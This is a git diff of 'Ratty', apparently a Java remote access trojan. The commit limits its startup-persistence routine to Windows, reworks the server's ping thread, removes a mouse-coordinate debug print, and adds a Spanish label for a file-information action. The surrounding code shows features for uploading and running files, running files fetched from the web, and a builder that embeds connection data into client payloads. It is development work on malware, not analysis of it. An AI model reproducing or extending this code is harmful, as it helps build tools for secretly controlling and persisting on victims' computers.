diff --git a/Ratty/res/language/lang_es.properties b/Ratty/res/language/lang_es.properties index 3cd7ff5..0f7e346 100644 --- a/Ratty/res/language/lang_es.properties +++ b/Ratty/res/language/lang_es.properties @@ -39,6 +39,7 @@ action.new_directory=Crear una nueva carpeta action.upload_execute=Subir y ejecutar archivo action.drop_execute=Ejecutar archivo desde web action.drop_file=Soltar archivo +action.file_information=Obtener información de archivo column.name=Nombre column.location=Localizacion diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 09eb8fb..7a201b7 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -86,6 +86,12 @@ public final class Ratty { } private static void addToStartup() { + final String os = System.getProperty("os.name").toUpperCase(); + + if (!os.contains("WINDOWS")) { + return; + } + try { final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); final File source = new File(sourceUri); diff --git a/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java b/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java index fd65ef7..e405b32 100644 --- a/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/gui/server/RattyGuiController.java @@ -14,10 +14,7 @@ import javax.imageio.ImageIO; import javax.swing.ImageIcon; import javax.swing.JOptionPane; -import de.sogomn.engine.Clock; import de.sogomn.engine.fx.Sound; -import de.sogomn.engine.util.Scheduler; -import de.sogomn.engine.util.Scheduler.Task; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.builder.JarBuilder; import de.sogomn.rat.gui.ChatWindow; @@ -61,10 +58,6 @@ public final class RattyGuiController extends AbstractRattyController implements private HashMap clients; - private Clock clock; - private Scheduler scheduler; - private Task pingTask; - private static final String BUILDER_REPLACEMENT = "connection_data"; private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue"; private static final String[] BUILDER_REMOVALS = { @@ -111,7 +104,7 @@ public final class RattyGuiController extends AbstractRattyController implements private static final String FILE_BYTES = LANGUAGE.getString("file_information.bytes"); private static final String FLAG_ADDRESS = "http://www.geojoe.co.uk/api/flag/?ip="; - private static final float PING_INTERVAL = 3; + private static final long PING_INTERVAL = 3000; private static final Sound PING = Sound.loadSound("/ping.wav"); @@ -119,28 +112,24 @@ public final class RattyGuiController extends AbstractRattyController implements this.server = server; this.gui = gui; - final Runnable task = () -> { - final PingPacket packet = new PingPacket(); - - connections.forEach(connection -> connection.addPacket(packet)); - pingTask.reset(); - }; final Thread pingThread = new Thread(() -> { while (true) { - clock.update(); + final PingPacket packet = new PingPacket(); + + broadcast(packet); + + try { + Thread.sleep(PING_INTERVAL); + } catch (final Exception ex) { + ex.printStackTrace(); + } } }); clients = new HashMap(); - clock = new Clock(); - scheduler = new Scheduler(); - pingTask = new Task(task, PING_INTERVAL); pingThread.setDaemon(true); pingThread.start(); - - scheduler.addTask(pingTask); - clock.addListener(scheduler); } /* @@ -696,19 +685,19 @@ public final class RattyGuiController extends AbstractRattyController implements @Override public void connected(final ActiveServer server, final ActiveConnection connection) { - final ServerClient client = new ServerClient(connection); - super.connected(server, connection); + final ServerClient client = new ServerClient(connection); + clients.put(connection, client); } @Override public void disconnected(final ActiveConnection connection) { - final ServerClient client = getClient(connection); - super.disconnected(connection); + final ServerClient client = getClient(connection); + gui.removeClient(client); clients.remove(connection); diff --git a/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java b/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java index 172dad8..7b2107e 100644 --- a/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java @@ -41,8 +41,6 @@ public final class MouseEventPacket implements IPacket { y = connection.readInt(); button = connection.readInt(); strokeType = connection.readByte(); - - System.out.println(x + " " + y); } @Override diff --git a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java index 33810ee..9954450 100644 --- a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java +++ b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java @@ -21,8 +21,8 @@ public abstract class AbstractRattyController implements IServerObserver, IConne connection.setObserver(this); connection.start(); - connection.addPacket(packet); connections.add(connection); + connection.addPacket(packet); } @Override @@ -42,7 +42,7 @@ public abstract class AbstractRattyController implements IServerObserver, IConne } public void broadcast(final IPacket packet) { - connections.stream().forEach(connection -> { + connections.forEach(connection -> { connection.addPacket(packet); }); }